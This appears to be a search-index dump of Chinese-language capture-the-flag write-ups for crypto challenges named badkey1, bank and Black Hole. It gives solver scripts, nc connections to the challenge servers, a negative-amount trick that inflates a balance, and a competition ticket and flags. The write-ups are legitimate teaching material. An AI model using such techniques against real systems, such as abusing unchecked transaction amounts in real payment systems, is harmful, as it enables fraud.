) try : key = RSA . construct ([ n , e , d , p , q ]) print ( \"This is not a bad RSA keypair.\" ) exit ( 3 ) except KeyboardInterrupt : print ( \"Hacker detected.\" ) exit ( 4 ) except ValueError : print ( \"How could this happen?\" ) from secret import flag print ( flag ) \u89e3\u9898\u601d\u8def \u00b6 \u9700\u8981\u8f93\u5165\u6ee1\u8db3\u4e00\u5b9a\u6761\u4ef6\u7684 \\(p,q\\) \uff0c\u5e76\u6700\u7ec8\u4f7f RSA.construct \u6839\u636e\u63d0\u4f9b\u7684\u53c2\u6570\u6267\u884c\u5931\u8d25 \u6392\u9664\u8c03\u7528 RSA.construct \u524d\u5df2\u8fdb\u884c\u7684\u68c0\u67e5\uff0c\u6700\u6709\u53ef\u80fd\u5bfc\u81f4\u5931\u8d25\u7684\u68c0\u67e5\u662f if Integer ( n ) . gcd ( d ) != 1 : raise ValueError ( \"RSA private exponent is not coprime to modulus\" ) \u4ee4 \\(d = k_1p\\) \uff0c\u9700\u8981\u6c42 \\(q\\) \u6839\u636e \\(ed\\equiv 1\\ (mod\\ \\phi)\\) \uff0c\u6709 \\(ek_1\\equiv 1\\ (mod\\ p-1)\\) \uff0c\u6c42\u5f97 \\(k_1\\) \u63a5\u4e0b\u6765\u7531 \\(ek_1p=k_2(p-1)(q-1)+1\\) \u5f97 \\(q=\\frac{ek_1p-1}{k_2(p-1)}+1\\) \uff0c\u53ef\u5728 \\([1, e+1]\\) \u7684\u8303\u56f4\u5185\u7206\u7834 \\(k_2\\) Exploit \u00b6 from Crypto.Util.number import getPrime , isPrime , inverse e = 65537 while True : p = getPrime ( 512 ) k1 = inverse ( e , p - 1 ) t = ( e * k1 * p - 1 ) // ( p - 1 ) for k2 in range ( 1 , e + 1 ): if t % k2 == 0 : q = t // k2 + 1 if isPrime ( q ) and q . bit_length () == 512 : print ( p , q ) exit ()","title":"badkey1"},{"location":"crypto/badkey1/#_1","text":"\u6211\u8ba4\u771f\u68c0\u67e5\u4e86\u4e00\u4e0b\u6211\u7684 RSA \u53c2\u6570\uff0c\u4f3c\u4e4e\u6ca1\u6709\u4efb\u4f55\u95ee\u9898\uff0c\u4f46\u662f\u4e3a\u4ec0\u4e48\u4f1a\u2026\u2026 test.py from Crypto.Util.number import * from Crypto.PublicKey import RSA from hashlib import sha256 import random , os , signal , string def proof_of_work (): random . seed ( os . urandom ( 8 )) proof = '' . join ([ random . choice ( string . ascii_letters + string . digits ) for _ in range ( 20 )]) _hexdigest = sha256 ( proof . encode ()) . hexdigest () print ( f \"sha256(XXXX+ { proof [ 4 :] } ) == { _hexdigest } \" ) print ( 'Give me XXXX: ' ) x = input () if len ( x ) != 4 or sha256 ( x . encode () + proof [ 4 :] . encode ()) . hexdigest () != _hexdigest : print ( 'Wrong PoW' ) return False return True if not proof_of_work (): exit ( 1 ) signal . alarm ( 10 ) print ( \"Give me a bad RSA keypair.\" ) try : p = int ( input ( 'p = ' )) q = int ( input ( 'q = ' )) assert p > 0 assert q > 0 assert p != q assert p . bit_length () == 512 assert q . bit_length () == 512 assert isPrime ( p ) assert isPrime ( q ) n = p * q e = 65537 assert p % e != 1 assert q % e != 1 d = inverse ( e , ( p - 1 ) * ( q - 1 )) except : print ( \"Invalid params\" ) exit ( 2 ) try : key = RSA . construct ([ n , e , d , p , q ]) print ( \"This is not a bad RSA keypair.\" ) exit ( 3 ) except KeyboardInterrupt : print ( \"Hacker detected.\" ) exit ( 4 ) except ValueError : print ( \"How could this happen?\" ) from secret import flag print ( flag )","title":"\u9898\u76ee"},{"location":"crypto/badkey1/#_2","text":"\u9700\u8981\u8f93\u5165\u6ee1\u8db3\u4e00\u5b9a\u6761\u4ef6\u7684 \\(p,q\\) \uff0c\u5e76\u6700\u7ec8\u4f7f RSA.construct \u6839\u636e\u63d0\u4f9b\u7684\u53c2\u6570\u6267\u884c\u5931\u8d25 \u6392\u9664\u8c03\u7528 RSA.construct \u524d\u5df2\u8fdb\u884c\u7684\u68c0\u67e5\uff0c\u6700\u6709\u53ef\u80fd\u5bfc\u81f4\u5931\u8d25\u7684\u68c0\u67e5\u662f if Integer ( n ) . gcd ( d ) != 1 : raise ValueError ( \"RSA private exponent is not coprime to modulus\" ) \u4ee4 \\(d = k_1p\\) \uff0c\u9700\u8981\u6c42 \\(q\\) \u6839\u636e \\(ed\\equiv 1\\ (mod\\ \\phi)\\) \uff0c\u6709 \\(ek_1\\equiv 1\\ (mod\\ p-1)\\) \uff0c\u6c42\u5f97 \\(k_1\\) \u63a5\u4e0b\u6765\u7531 \\(ek_1p=k_2(p-1)(q-1)+1\\) \u5f97 \\(q=\\frac{ek_1p-1}{k_2(p-1)}+1\\) \uff0c\u53ef\u5728 \\([1, e+1]\\) \u7684\u8303\u56f4\u5185\u7206\u7834 \\(k_2\\)","title":"\u89e3\u9898\u601d\u8def"},{"location":"crypto/badkey1/#exploit","text":"from Crypto.Util.number import getPrime , isPrime , inverse e = 65537 while True : p = getPrime ( 512 ) k1 = inverse ( e , p - 1 ) t = ( e * k1 * p - 1 ) // ( p - 1 ) for k2 in range ( 1 , e + 1 ): if t % k2 == 0 : q = t // k2 + 1 if isPrime ( q ) and q . bit_length () == 512 : print ( p , q ) exit ()","title":"Exploit"},{"location":"crypto/bank/","text":"\u89e3\u9898\u601d\u8def \u00b6 nc \u8fde\u8fc7\u53bb\uff0c\u8981\u6c42\u8f93\u5165\u4e09\u4e2a\u5b57\u7b26\uff0c \u5176\u4e0e\u5269\u4e0b\u7684\u968f\u673a\u5b57\u7b26\u4e32\u8fdb\u884c SHA256 \u52a0\u5bc6\u7684\u7ed3\u679c\u7b49\u4e8e\u7b49\u53f7\u540e\u7684\u968f\u673a\u5b57\u7b26\u4e32 $ nc 39 .101.134.52 8005 sha256 ( XXX+f2DXa00fbrrtXrZAV ) == fad0b6f4dc03f907b999f15db8b467b17139189d2cc61f9fc37e213d91d0a2aa Give me XXX: \u4f7f\u7528 Python \u7834\u89e3 from hashlib import sha256 import itertools table = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789' for ch in itertools . permutations ( table , 3 ): m = '' . join ( ch ) + 'f2DXa00fbrrtXrZAV' h = sha256 ( m . encode ()) . hexdigest () if ( h == 'fad0b6f4dc03f907b999f15db8b467b17139189d2cc61f9fc37e213d91d0a2aa' ): print ( m [ 0 : 3 ]) \u8fdb\u5165\u7cfb\u7edf\u540e\uff0c\u8981\u6c42\u8f93\u5165\u540d\u5b57\uff0c\u968f\u4fbf\u8f93\u4e00\u4e2a\u5c31\u53ef\u4ee5 Welcome to the challenge! give me your name:yanhui your cash:10 you can choose: transact, view records, provide a record, get flag, hint \u9996\u5148\u9009\u62e9 get flag \u67e5\u770b\uff0c\u63d0\u793a\u73b0\u91d1\u4e0d\u8db3 > get flag you need pay 1000 for the flag! don ' t have enough money! \u67e5\u770b hint \uff0c\u7ed9\u51fa\u4e86 transact \u7684\u52a0\u5bc6\u65b9\u5f0f def transact_ecb ( key, sender, receiver, amount ) : aes = AES.new ( key, AES.MODE_ECB ) ct = b \"\" ct += aes.encrypt ( sender ) ct += aes.encrypt ( receiver ) ct += aes.encrypt ( amount ) return ct view records \u7ed9\u51fa\u7684\u662f\u7ecf\u8fc7\u52a0\u5bc6\u7684\u4ea4\u6613\u8bb0\u5f55\uff0c provide a record \u5219\u7ed9\u51fa My system is secure if you can give me other records, the receiver can also get the money. \u9996\u8981\u76ee\u6807\u662f\u8981\u83b7\u5f97\u8db3\u591f\u7684\u73b0\u91d1\uff0c\u770b\u770b\u4ea4\u6613 > transact please give me the trader and the amount ( for example:Alice 1 ) > Alice 1 16afee8cc0a88bf0478fefe229e68418a9a0627e2da31f1d055e01d7000a3b3a1794bbe06d2ed80b02b1c90ba2c4606f your cash:9 you can choose: transact, view records, provide a record, get flag, hint > transact please give me the trader and the amount ( for example:Alice 1 ) > Alice 0 16afee8cc0a88bf0478fefe229e68418a9a0627e2da31f1d055e01d7000a3b3ab55eefd708d39ed2b4ce4d561c34e5ec your cash:9 \u8f93\u5165\u91d1\u989d\u4e3a \\(0\\) \u7684\u8bdd\uff0c\u4ea4\u6613\u4e5f\u53ef\u4ee5\u6210\u529f\u8fdb\u884c\uff01\u5c1d\u8bd5\u4e00\u4e0b\u8d1f\u6570\uff0c\u770b\u80fd\u4e0d\u80fd\u83b7\u5f97\u73b0\u91d1 > transact please give me the trader and the amount ( for example:Alice 1 ) > Alice -1 dd664379452c6af73b382cc5cd076754c70214708e2c0071ed74906852ecc510f2f0bd5754e02a2b03c635178e0200c5 your cash:11 \u53d1\u73b0\u53ef\u4ee5\u6210\u529f\u589e\u52a0\u6301\u6709\u73b0\u91d1\uff0c\u5e76\u6ca1\u6709\u88ab\u8fc7\u6ee4\u4e4b\u7c7b\u7684\uff0c\u83b7\u5f97\u8db3\u591f\u73b0\u91d1\u4e4b\u540e\u5c31\u53ef\u4ee5\u300e\u8d2d\u4e70\u300fFlag \u4e86\uff01\u3010\u4e4b\u524d\u8fd8\u4ee5\u4e3a\u8981\u8003\u8651 ECB \u52a0\u5bc6\u2026\u2026\u3011","title":"bank"},{"location":"crypto/bank/#_1","text":"nc \u8fde\u8fc7\u53bb\uff0c\u8981\u6c42\u8f93\u5165\u4e09\u4e2a\u5b57\u7b26\uff0c \u5176\u4e0e\u5269\u4e0b\u7684\u968f\u673a\u5b57\u7b26\u4e32\u8fdb\u884c SHA256 \u52a0\u5bc6\u7684\u7ed3\u679c\u7b49\u4e8e\u7b49\u53f7\u540e\u7684\u968f\u673a\u5b57\u7b26\u4e32 $ nc 39 .101.134.52 8005 sha256 ( XXX+f2DXa00fbrrtXrZAV ) == fad0b6f4dc03f907b999f15db8b467b17139189d2cc61f9fc37e213d91d0a2aa Give me XXX: \u4f7f\u7528 Python \u7834\u89e3 from hashlib import sha256 import itertools table = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789' for ch in itertools . permutations ( table , 3 ): m = '' . join ( ch ) + 'f2DXa00fbrrtXrZAV' h = sha256 ( m . encode ()) . hexdigest () if ( h == 'fad0b6f4dc03f907b999f15db8b467b17139189d2cc61f9fc37e213d91d0a2aa' ): print ( m [ 0 : 3 ]) \u8fdb\u5165\u7cfb\u7edf\u540e\uff0c\u8981\u6c42\u8f93\u5165\u540d\u5b57\uff0c\u968f\u4fbf\u8f93\u4e00\u4e2a\u5c31\u53ef\u4ee5 Welcome to the challenge! give me your name:yanhui your cash:10 you can choose: transact, view records, provide a record, get flag, hint \u9996\u5148\u9009\u62e9 get flag \u67e5\u770b\uff0c\u63d0\u793a\u73b0\u91d1\u4e0d\u8db3 > get flag you need pay 1000 for the flag! don ' t have enough money! \u67e5\u770b hint \uff0c\u7ed9\u51fa\u4e86 transact \u7684\u52a0\u5bc6\u65b9\u5f0f def transact_ecb ( key, sender, receiver, amount ) : aes = AES.new ( key, AES.MODE_ECB ) ct = b \"\" ct += aes.encrypt ( sender ) ct += aes.encrypt ( receiver ) ct += aes.encrypt ( amount ) return ct view records \u7ed9\u51fa\u7684\u662f\u7ecf\u8fc7\u52a0\u5bc6\u7684\u4ea4\u6613\u8bb0\u5f55\uff0c provide a record \u5219\u7ed9\u51fa My system is secure if you can give me other records, the receiver can also get the money. \u9996\u8981\u76ee\u6807\u662f\u8981\u83b7\u5f97\u8db3\u591f\u7684\u73b0\u91d1\uff0c\u770b\u770b\u4ea4\u6613 > transact please give me the trader and the amount ( for example:Alice 1 ) > Alice 1 16afee8cc0a88bf0478fefe229e68418a9a0627e2da31f1d055e01d7000a3b3a1794bbe06d2ed80b02b1c90ba2c4606f your cash:9 you can choose: transact, view records, provide a record, get flag, hint > transact please give me the trader and the amount ( for example:Alice 1 ) > Alice 0 16afee8cc0a88bf0478fefe229e68418a9a0627e2da31f1d055e01d7000a3b3ab55eefd708d39ed2b4ce4d561c34e5ec your cash:9 \u8f93\u5165\u91d1\u989d\u4e3a \\(0\\) \u7684\u8bdd\uff0c\u4ea4\u6613\u4e5f\u53ef\u4ee5\u6210\u529f\u8fdb\u884c\uff01\u5c1d\u8bd5\u4e00\u4e0b\u8d1f\u6570\uff0c\u770b\u80fd\u4e0d\u80fd\u83b7\u5f97\u73b0\u91d1 > transact please give me the trader and the amount ( for example:Alice 1 ) > Alice -1 dd664379452c6af73b382cc5cd076754c70214708e2c0071ed74906852ecc510f2f0bd5754e02a2b03c635178e0200c5 your cash:11 \u53d1\u73b0\u53ef\u4ee5\u6210\u529f\u589e\u52a0\u6301\u6709\u73b0\u91d1\uff0c\u5e76\u6ca1\u6709\u88ab\u8fc7\u6ee4\u4e4b\u7c7b\u7684\uff0c\u83b7\u5f97\u8db3\u591f\u73b0\u91d1\u4e4b\u540e\u5c31\u53ef\u4ee5\u300e\u8d2d\u4e70\u300fFlag \u4e86\uff01\u3010\u4e4b\u524d\u8fd8\u4ee5\u4e3a\u8981\u8003\u8651 ECB \u52a0\u5bc6\u2026\u2026\u3011","title":"\u89e3\u9898\u601d\u8def"},{"location":"crypto/black_hole/","text":"\u9898\u76ee \u00b6 We found a satellite but we can't speak its language. It changes its encryption encoding every time we open a connection... We've got an open connection to the satellite. It sent us this encoded message. Decode it and send it back to get the flag. Connecting \u00b6 nc black_hole.satellitesabove.me 5300 \u89e3\u9898\u601d\u8def \u00b6 \u6ca1\u6709\u7ed9\u6e90\u7801\uff0c\u76f4\u63a5\u8fde\u670d\u52a1\u5668\u5206\u6790 \u5bc6\u6587 \u7f16\u7801\u7ed3\u679c \u03a3\u03a3\u03a3(\u03a6 \u03c9\u03a6||\u00a1) \u65e2\u7136\u662f\u7f16\u7801\uff0c\u5e94\u8be5\u6709\u4e00\u5b9a\u89c4\u5f8b\u53ef\u5faa\u3002\u5c31\u5148\u8bd5\u8bd5\u6700\u5c0f\u7684\u4e24\u4e2a\u5427...\u7b49\u7b49\uff01\u5b83\u4eec\u6709\u4ec0\u4e48\u533a\u522b\u4e48\uff1f\uff01-\u03c9- \u5341\u516d\u8fdb\u5236\u5b57\u7b26\u4e32\u5dee\u4e86\u4e00\u4e2a\u5b57\u7b26 Generating black hole... Encoded msg is: e7a1977d3bce40b06475a6f44ca13535a345397224a927fc2f59633f66d7272bd45c1c8c9030755cf4e05fbd20ed995480e198b52498b0dcdfde8f027dd58c0c836f50045463ee0846df632a4c4b8bc7a7978290820441649b13760ee645d2f36af7571206d66b45b5eea1e0b13de2b84505a1b85c09d032f206f12b1179ca347eaecc6344af06e8c34bfe93072a5c0c6587a7e1c6c6bd1cd37a8868da78ecd103ce8d4f8e48d38369f669feb2ebf8ec9a74f70dbf22e84028b9290665ff2822fc4311047e68f02b24a5661cea07b42ec2dbfed36c964785cee1d70818aa2bdeece7680ef144c6e1797f695d2681a1210be06cd9e9d65487bbda4c5bba402030 We can stream 18909 bytes of data before the sat kills the connection. Please help. ( Send your message in hex. ) ( 18909 ) Msg: 00 9844ce7e63ee946ac1b2572627e46fa2309f6bc2a10dd9f0062f23d826884f20ab56eeaec99490ff8694fc8b8e5097177a0deb5345212e9eb52ac7e90edfecafedc8e1ef9b3c7c9018581ca238ea246705b9185af5d748df08563e45d0e64b642743d826bcd7257c8e126193f0bc15682027a2c7d7611d9327c0779808e2c82f3f0cea10192127ff0ce72091f9d42b576180e18a0e3b5d159df3e4c30c07a59d98756abc68a009cdf125282757a1e7a9d1792cb0d8664007af41ba1fc625562ebbf2601018899aa22a1c27e30fd43e368d40d39f4e8b962c42e24c9d0ecedf0681bdab587f5c7a2950658e141175b5c1e358fdc765b6d6ff187f7fc8a3757eb9 # 9844ce7e63ee946ac1b2572627e46fa2309f6bc2a10dd9f0062f23d826884f20ab56eeaec99490ff8694fc8b8e5097177a0deb5345212e9eb52ac7e90edfecafedc8e1ef9b3c7c9018581ca238ea246705b9185af5d748df08563e45d0e64b642743d826bcd7257c8e126193f0bc15682027a2c7d7611d9327c0779808e2c82f3f0cea10192127ff0ce72091f9d42b576180e18a0e3b5d159df3e4c30c0_7_a59d98756abc68a009cdf125282757a1e7a9d1792cb0d8664007af41ba1fc625562ebbf2601018899aa22a1c27e30fd43e368d40d39f4e8b962c42e24c9d0ecedf0681bdab587f5c7a2950658e141175b5c1e358fdc765b6d6ff187f7fc8a3757eb9 ( 18908 ) Msg: 01 9844ce7e63ee946ac1b2572627e46fa2309f6bc2a10dd9f0062f23d826884f20ab56eeaec99490ff8694fc8b8e5097177a0deb5345212e9eb52ac7e90edfecafedc8e1ef9b3c7c9018581ca238ea246705b9185af5d748df08563e45d0e64b642743d826bcd7257c8e126193f0bc15682027a2c7d7611d9327c0779808e2c82f3f0cea10192127ff0ce72091f9d42b576180e18a0e3b5d159df3e4c30c06a59d98756abc68a009cdf125282757a1e7a9d1792cb0d8664007af41ba1fc625562ebbf2601018899aa22a1c27e30fd43e368d40d39f4e8b962c42e24c9d0ecedf0681bdab587f5c7a2950658e141175b5c1e358fdc765b6d6ff187f7fc8a3757eb9 # 9844ce7e63ee946ac1b2572627e46fa2309f6bc2a10dd9f0062f23d826884f20ab56eeaec99490ff8694fc8b8e5097177a0deb5345212e9eb52ac7e90edfecafedc8e1ef9b3c7c9018581ca238ea246705b9185af5d748df08563e45d0e64b642743d826bcd7257c8e126193f0bc15682027a2c7d7611d9327c0779808e2c82f3f0cea10192127ff0ce72091f9d42b576180e18a0e3b5d159df3e4c30c0_6_a59d98756abc68a009cdf125282757a1e7a9d1792cb0d8664007af41ba1fc625562ebbf2601018899aa22a1c27e30fd43e368d40d39f4e8b962c42e24c9d0ecedf0681bdab587f5c7a2950658e141175b5c1e358fdc765b6d6ff187f7fc8a3757eb9 \u968f\u540e\u8bd5\u4e86\u4e00\u4e9b 00 \uff0c\u53d1\u73b0\u957f\u5ea6\u5927\u4e8e\u7b49\u4e8e \\(2\\) \u7684\u6d88\u606f\u4e0d\u80fd\u5305\u542b 00 \uff08\u770b\u4e0a\u53bb 0100 \u662f\u4e2a\u4f8b\u5916\uff09 ( 18909 ) Msg: 0000 Must provide message with no NULL bytes ( 00 ) ( 18907 ) Msg: 0001 Must provide message with no NULL bytes ( 00 ) ( 18905 ) Msg: 0100 78c407e05c297ed2de6ebb9f4741be52a234e5519a0e4bd9be2e835dfd41ffbef0db1c87ea62db03f2711b96bb843afa3eadf6730996abbad539dba2cb433a02a877febfe8799e75e9170382c3c13238a4db876a691593e95a28267b3cedfa694f1a211fefa834a4bd41d670b3ad2f1dc8175c9716f136287c1c0c175914762d68069003215bc32fbc9dda8c01fc072eb379ecec40d2138e5f70b0b6e3af62bd1dbc1980227d5cf3475b979e5a19bf8069ad2f407f4e9edd109214bb70a2fcd343a5be3c8e408831a2482d0bf926b5322a521eb6158163419fb79a08802e052026e9bf9a20e2b7a8b5c50b1b36f0a6ea89f037a96a1f80784d2a2af4c7954aa2 ( 18903 ) Msg: 010000 Must provide message with no NULL bytes ( 00 ) ( 18900 ) Msg: 000001 Must provide message with no NULL bytes ( 00 ) ( 18897 ) Msg: 010001 Must provide message with no NULL bytes ( 00 ) \uff08\u7701\u7565\u6253\u8868\u627e\u89c4\u5f8b\u7684\u8fc7\u7a0b\uff09\u901a\u8fc7\u89c2\u5bdf\u53ef\u4ee5\u786e\u5b9a \u76f8\u540c\u957f\u5ea6\u7684\u6d88\u606f\uff0c\u7f16\u7801\u7ed3\u679c\u76f8\u5dee\u7684\u5b57\u8282\u6570\u4e0d\u4f1a\u8d85\u8fc7\u6d88\u606f\u957f\u5ea6 \u5728\u4e00\u6b21\u901a\u4fe1\u4e2d\uff0c\u5bf9\u4e8e\u76f8\u540c\u957f\u5ea6\u7684\u6d88\u606f\uff0c\u660e\u6587\u7684\u6bcf\u4e2a\u4f4d\u7f6e\u4e0e\u7f16\u7801\u7ed3\u679c\u6709\u56fa\u5b9a\u4e14\u552f\u4e00\u7684\u6620\u5c04 \u5bf9\u4e8e\u660e\u6587\u7684\u6bcf\u4e00\u4e2a\u4f4d\u7f6e\u53ef\u4ee5\u5206\u522b\u8003\u8651\u503c\u7684\u9ad8\u516b\u4f4d\u548c\u4f4e\u516b\u4f4d\uff0c\u5176\u7f16\u7801\u7ed3\u679c\u7531\u9ad8\u516b\u4f4d\u4e0e\u4f4e\u516b\u4f4d\u7684\u6620\u5c04\u7ed3\u679c\u7ec4\u5408\u800c\u6210\uff0c\u5982\u660e\u6587 10 \u5bf9\u5e94\u7f16\u7801\u7ed3\u679c 45 \uff0c\u660e\u6587 0a \u5bf9\u5e94\u7f16\u7801\u7ed3\u679c e3 \uff0c\u90a3\u4e48\u53ef\u63a8\u51fa\u660e\u6587 1a \u5bf9\u5e94\u7f16\u7801\u7ed3\u679c 43 \u660e\u6587\u4e0d\u540c\u4f4d\u7f6e\u4e0e\u7f16\u7801\u7ed3\u679c\u503c\u7684\u6620\u5c04\u4e0d\u540c \u56e0\u4e3a\u8fd8\u9650\u5236\u4e86\u53d1\u9001\u6d88\u606f\u5b57\u8282\u7684\u603b\u6570\uff0c\u6240\u4ee5\u4e00\u6b21\u67e5\u8be2\u5e94\u5c3d\u53ef\u80fd\u591a\u83b7\u5f97\u4fe1\u606f from pwn import * from Crypto.Util.number import long_to_bytes def compare ( a , b ): a , b = bytes . fromhex ( a ), bytes . fromhex ( b ) diff = 0 for i , j in zip ( a , b ): if i != j : diff += 1 return diff def index_diff ( a , b ): a , b = bytes . fromhex ( a ), bytes . fromhex ( b ) pos = [] for i in range ( len ( a )): if a [ i ] != b [ i ]: pos . append ( i ) return pos ticket = 'ticket{foxtrot294921delta3:GD1KWFvlJJN0ge3qaEddP9Olmir30Q5z7V67AmZ_e1b8RtSz61E8uIlvDpuCSGS6pw}' conn = connect ( 'black_hole.satellitesabove.me' , 5300 ) conn . sendafter ( 'Ticket please:' , f ' { ticket } \\n ' ) enc = conn . recvline_contains ( 'Encoded msg is: ' ) . decode () . split ( ' ' )[ - 1 ] # \u83b7\u53d6\u7f16\u7801\u6d88\u606f\u7684\u957f\u5ea6 enc_len = 0 for i in range ( 140 , 0x100 ): # \u7ecf\u8fc7\u6d4b\u8bd5\uff0c\u5f85\u6c42\u6d88\u606f\u7684\u957f\u5ea6\u57fa\u672c\u5728 140 \u53ca\u4ee5\u4e0a conn . sendafter ( 'Msg:' , f ' { \"01\" * i } \\n ' ) res = conn . recvline () . decode () . strip () if compare ( enc , res ) <= i : enc_len = i print ( f 'Length: { i } ' ) break # pre: \u6d88\u606f b'\\x01' * enc_len \u7684\u7f16\u7801\u7ed3\u679c\uff0c\u4fbf\u4e8e\u786e\u5b9a\u660e\u6587\u5404\u4e2a\u4f4d\u5728\u7f16\u7801\u7ed3\u679c\u7684\u4f4d\u7f6e # pos_map: \u660e\u6587\u5404\u4e2a\u4f4d\u7f6e\u4e0e\u5341\u516d\u8fdb\u5236\u5b57\u7b26\u4e32\u7684\u4f4d\u7f6e\u6620\u5c04 # first_map: \u660e\u6587\u5404\u4e2a\u4f4d\u7f6e\u9ad8\u516b\u4f4d\u7684\u7f16\u7801\u6620\u5c04\u8868 0x0_ - 0xf_ # second_map: \u660e\u6587\u5404\u4e2a\u4f4d\u7f6e\u4f4e\u516b\u4f4d\u7684\u7f16\u7801\u6620\u5c04\u8868 0x_0 - 0x_f pre , pos_map , first_map , second_map = res , [ - 1 ] * enc_len , {}, {} for i in [ 0x02 , 0x10 , 0x21 , 0x33 , 0x44 , 0x55 , 0x66 , 0x77 , 0x88 , 0x99 , 0xaa , 0xbb , 0xcc , 0xdd , 0xee , 0xff ]: s = long_to_bytes ( i ) * enc_len conn . sendafter ( 'Msg:' , f ' { s . hex () } \\n ' ) res = conn . recvline () . decode () . strip () pd = index_diff ( res , pre ) for j in pd : p = j * 2 if p in first_map : first_map [ p ][ res [ p ]] = ( i & 0xf0 ) // 0x10 else : first_map [ p ] = { res [ p ]: 0 } if p in second_map : second_map [ p ][ res [ p + 1 ]] = i & 0xf else : second_map [ p ] = { res [ p + 1 ]: 2 } # \u83b7\u5f97\u7f16\u7801\u7ed3\u679c\u5404\u4e2a\u4f4d\u7f6e\u4e0e\u660e\u6587\u503c\u7684\u6620\u5c04\u5173\u7cfb\u540e\uff0c\u5c31\u53ef\u4ee5\u6784\u9020\u660e\u6587\u6765\u786e\u5b9a\u4f4d\u7f6e\u7684\u6620\u5c04\u5173\u7cfb for i in range ( 0 , enc_len , 0x10 ): s = bytearray ( b ' \\x01 ' ) * enc_len for j in range ( min ( 0x10 , enc_len - i )): s [ i + j ] = 0x10 + j conn . sendafter ( 'Msg:' , f ' { s . hex () } \\n ' ) res = conn . recvline () . decode () . strip () pd = index_diff ( res , pre ) pos , sm = [], [] for j in pd : p = j * 2 pos . append ( p ) sm . append ( second_map [ p ][ res [ p + 1 ]]) for j , k in zip ( sm , pos ): pos_map [ i + j ] = k s = bytearray ( b ' \\x00 ' ) * enc_len for i in range ( enc_len ): s [ i ] = first_map [ pos_map [ i ]][ enc [ pos_map [ i ]]] * 0x10 + second_map [ pos_map [ i ]][ enc [ pos_map [ i ] + 1 ]] conn . sendafter ( 'Msg:' , f ' { s . hex () } \\n ' ) conn . interactive () # Satellite-link synced! Flag: flag{foxtrot294921delta3:GEPzPQGVu-6MW0Ly8t6rSDotRhMZUOVCgnp-lcMPJbIiuvNwfH2MeDjkChz6vPvg8Hn6sGWG2i_8XroCUhRsIE4} Flag \u00b6 flag{foxtrot294921delta3:GEPzPQGVu-6MW0Ly8t6rSDotRhMZUOVCgnp-lcMPJbIiuvNwfH2MeDjkChz6vPvg8Hn6sGWG2i_8XroCUhRsIE4}","title":"Black Hole"},{"location":"crypto/black_hole/#_1","text":"We found a satellite but we can't speak its language. It changes its encryption encoding every time we open a connection... We've got an open connection to the satellite. It sent us this encoded message. Decode it and send it back to get the flag.","title":"\u9898\u76ee"},{"location":"crypto/black_hole/#connecting","text":"nc black_hole.satellitesabove.me 5300","title":"Connecting"},{"location":"crypto/black_hole/#_2","text":"\u6ca1\u6709\u7ed9\u6e90\u7801\uff0c\u76f4\u63a5\u8fde\u670d\u52a1\u5668\u5206\u6790 \u5bc6\u6587 \u7f16\u7801\u7ed3\u679c \u03a3\u03a3\u03a3(\u03a6 \u03c9\u03a6||\u00a1) \u65e2\u7136\u662f\u7f16\u7801\uff0c\u5e94\u8be5\u6709\u4e00\u5b9a\u89c4\u5f8b\u53ef\u5faa\u3002\u5c31\u5148\u8bd5\u8bd5\u6700\u5c0f\u7684\u4e24\u4e2a\u5427...\u7b49\u7b49\uff01\u5b83\u4eec\u6709\u4ec0\u4e48\u533a\u522b\u4e48\uff1f\uff01-\u03c9- \u5341\u516d\u8fdb\u5236\u5b57\u7b26\u4e32\u5dee\u4e86\u4e00\u4e2a\u5b57\u7b26 Generating black hole... Encoded msg is: e7a1977d3bce40b06475a6f44ca13535a345397224a927fc2f59633f66d7272bd45c1c8c9030755cf4e05fbd20ed995480e198b52498b0dcdfde8f027dd58c0c836f50045463ee0846df632a4c4b8bc7a7978290820441649b13760ee645d2f36af7571206d66b45b5eea1e0b13de2b84505a1b85c09d032f206f12b1179ca347eaecc6344af06e8c34bfe93072a5c0c6587a7e1c6c6bd1cd37a8868da78ecd103ce8d4f8e48d38369f669feb2ebf8ec9a74f70dbf22e84028b9290665ff2822fc4311047e68f02b24a5661cea07b42ec2dbfed36c964785cee1d70818aa2bdeece7680ef144c6e1797f695d2681a1210be06cd9e9d65487bbda4c5bba402030 We can stream 18909 bytes of data before the sat kills the connection. Please help. ( Send your message in hex. ) ( 18909 ) Msg: 00 9844ce7e63ee946ac1b2572627e46fa2309f6bc2a10dd9f0062f23d826884f20ab56eeaec99490ff8694fc8b8e5097177a0deb5345212e9eb52ac7e90edfecafedc8e1ef9b3c7c9018581ca238ea246705b9185af5d748df08563e45d0e64b642743d826bcd7257c8e126193f0bc15682027a2c7d7611d9327c0779808e2c82f3f0cea10192127ff0ce72091f9d42b576180e18a0e3b5d159df3e4c30c07a59d98756abc68a009cdf125282757a1e7a9d1792cb0d8664007af41ba1fc625562ebbf2601018899aa22a1c27e30fd43e368d40d39f4e8b962c42e24c9d0ecedf0681bdab587f5c7a2950658e141175b5c1e358fdc765b6d6ff187f7fc8a3757eb9 # 9844ce7e63ee946ac1b2572627e46fa2309f6bc2a10dd9f0062f23d826884f20ab56eeaec99490ff8694fc8b8e5097177a0deb5345212e9eb52ac7e90edfecafedc8e1ef9b3c7c9018581ca238ea246705b9185af5d748df08563e45d0e64b642743d826bcd7257c8e126193f0bc15682027a2c7d7611d9327c0779808e2c82f3f0cea10192127ff0ce72091f9d42b576180e18a0e3b5d159df3e4c30c0_7_a59d98756abc68a009cdf125282757a1e7a9d1792cb0d8664007af41ba1fc625562ebbf2601018899aa22a1c27e30fd43e368d40d39f4e8b962c42e24c9d0ecedf0681bdab587f5c7a2950658e141175b5c1e358fdc765b6d6ff187f7fc8a3757eb9 ( 18908 ) Msg: 01 9844ce7e63ee946ac1b2572627e46fa2309f6bc2a10dd9f0062f23d826884f20ab56eeaec99490ff8694fc8b8e5097177a0deb5345212e9eb52ac7e90edfecafedc8e1ef9b3c7c9018581ca238ea246705b9185af5d748df08563e45d0e64b642743d826bcd7257c8e126193f0bc15682027a2c7d7611d9327c0779808e2c82f3f0cea10192127ff0ce72091f9d42b576180e18a0e3b5d159df3e4c30c06a59d98756abc68a009cdf125282757a1e7a9d1792cb0d8664007af41ba1fc625562ebbf2601018899aa22a1c27e30fd43e368d40d39f4e8b962c42e24c9d0ecedf0681bdab587f5c7a2950658e141175b5c1e358fdc765b6d6ff187f7fc8a3757eb9 # 